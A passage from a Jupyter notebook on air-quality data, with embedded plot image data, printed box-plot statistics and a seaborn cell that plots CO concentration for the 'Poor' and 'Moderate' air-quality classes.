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PqX49ttvq1q1aurbt6/atGmjX3/9VbNmzXI65ZiT0NBQTZo0SZMmTVLz5s319ttva8qUKapTp466deumZ599Vi+//LKaNWump59+WsOGDctyd2xO7r33Xi1ZskSDBg3Kdv3f//53HTx4UC1atFC3bt2UkJCgdu3a6bfffpMkderUSRcvXlRoaKjT0bf0sWzbtq2GDRumli1bau3atZoxY4YCAwPz1beMGjRoID8/P6ebOCQpMDBQs2fPVosWLbRjxw7VrVvXXjd06FBFRETogQceUMeOHXXx4kVVqlRJHh4e+uqrr9SlS5cC9yMv33//vcqVK5fllD2A4sHFyutCDgBAsTJp0iQlJiZqwoQJkq49BmbXrl36/PPPsy2/f/9+BQQE2NcZWpalVq1aacqUKU53lBem1157TWXKlNHzzz9/U+oHcGM4AggAt5nHHntMGzZsyPeDlletWqUXXnhB8fHxcjgc+s9//iNJWW7mKSznz5/Xpk2bstxIBKD4IAACwG2mXLlyeumllzRlypR8lX/mmWdUvnx5de7cWS1atNCGDRs0Y8YMlSxZ8qb0791339VLL72Ur9P6AIoGp4ABAAAMwxFAAAAAwxAAAQAADEMABAAAMAwBEAAAwDAEQAAAAMMQAAEAAAxDAAQAADAMARAAAMAw/x/xQwfpjyn1+wAAAABJRU5ErkJggg=="
},
"metadata": {},
"output_type": "display_data"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"Q1: 8.9\n",
"Median (Q2): 19.85\n",
"Q3: 40.5\n",
"IQR: 31.6\n",
"Min: 0.1\n",
"Max: 173.2\n",
"Number of outliers: 46\n"
]
}
],
"execution_count": 10
},
{
"metadata": {},
"cell_type": "markdown",
"source": "## 7. Box plot for attribute \"CO\" for the instances of \"Air Quality\" class \"Poor\" and class \"Moderate\"",
"id": "ded5dde82553a634"
},
{
"metadata": {
"ExecuteTime": {
"end_time": "2025-02-21T18:42:49.345941Z",
"start_time": "2025-02-21T18:42:48.785760Z"
}
},
"cell_type": "code",
"source": [
"poor_moderate_df = df[df[\"Air Quality\"].isin([2, 3])] # 2: Poor, 3: Moderate\n",
"\n",
"plt.figure(figsize=(8, 6))\n",
"sns.boxplot(x=\"Air Quality\", y=\"CO\", data=poor_moderate_df, hue=\"Air Quality\", palette={2: 'orange', 3: 'blue'})\n",
"\n",
"plt.title(\"Box Plot of CO for 'Poor' and 'Moderate' Air Quality\")\n",
"plt.xlabel(\"Air Quality\")\n",
"plt.ylabel(\"CO Concentration (ppm)\")\n",
"plt.show()"
],
"id": "ae304d5d7bfd426f",
"outputs": [
{
"data": {
"text/plain": [
"<Figure size 800x600 with 1 Axes>"
],
"image/png": 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vLy8tXrxYzs7OcnZ21q5du8xToOX0hLR/69atm1atWqXw8HCNGzdOXl5eWrRokVUBODsdOnTQqlWrVKxYMTVu3DjbNoMGDdKWLVs0aNAghYeHq3jx4vrss8/0008/afr06TIajapQoYL69u2rd955R+np6apRo4Y+//xz/fbbbxbbevbZZzVs2DA999xz6tq1q27evKkVK1bo2LFj5rvas5PbY5n5s7Jnzx49/PDDqly5soYMGaJ58+YpJSVFDz74oKKjozVv3jwZDIY7Pnzkyy+/VGJi4m2DfdeuXTVnzhx98skntz1+ueHv76958+ZpzJgx6tGjh/r376/KlStr8uTJmjFjhn7++WdVqlTJ4ubRVq1aafXq1Zo0aZJ69+6t33//XStWrLD4wFy3bl0tXLjQfBPrX3/9pffff19paWm5Pv+yO6bSrXHTlSpV0sGDBzVr1qw8f+249xFecc/55ZdfLH4hu7m5qXz58ho3bpwGDx5sXj569Gj5+flpzZo12rBhg4oVK6YOHTpo7Nix8vDw0KlTp7Ro0SI99thj5mEC1atX15NPPqnly5erbdu25ju5C0qPHj3k6emp999/X6NGjZKXl5eaN2+uZ5991jzWr2rVqurcubPWrl2r7777Ttu2bcuyHQ8PD61evVqzZ8/Wu+++q5SUFFWqVEnTpk3L0+W90NBQbdiwQStWrNDSpUsVExMjHx8f1apVSx9//HGW4QGZ80KuWbNGGzdu1Pnz5+Xu7q7q1avr7bffztNk/1WrVtVHH32kOXPmaNKkSTIYDKpbt65WrVpVqDd15PZ7ZItavb29tXDhQr399tt65pln5OnpqRo1amjNmjUaOnSoDh8+nOtHibq6uurDDz/U9OnTNW3aNBkMBvXp00eBgYHmKb/yIiwsTMuXL1fHjh1v28Pm7++vjz/+WLNnz9a0adN048YNVa9eXQsXLrS4QevVV181/4wmJSWpefPmevrppzV37lxzm9DQUC1fvlwLFizQmDFj5OLiolq1amnlypU53nyW22P54IMP6qGHHtLs2bO1f/9+LVmyRGPHjpW/v78++ugjLVu2TD4+PmratKmeffZZi5v0srNp0yb5+PioefPm2a4vWbKkHnroIe3evTtf3wfpVu/6Z599ppUrV2rFihW6ePGivLy8FBISombNmmnVqlXq0qWLXn31VT300EN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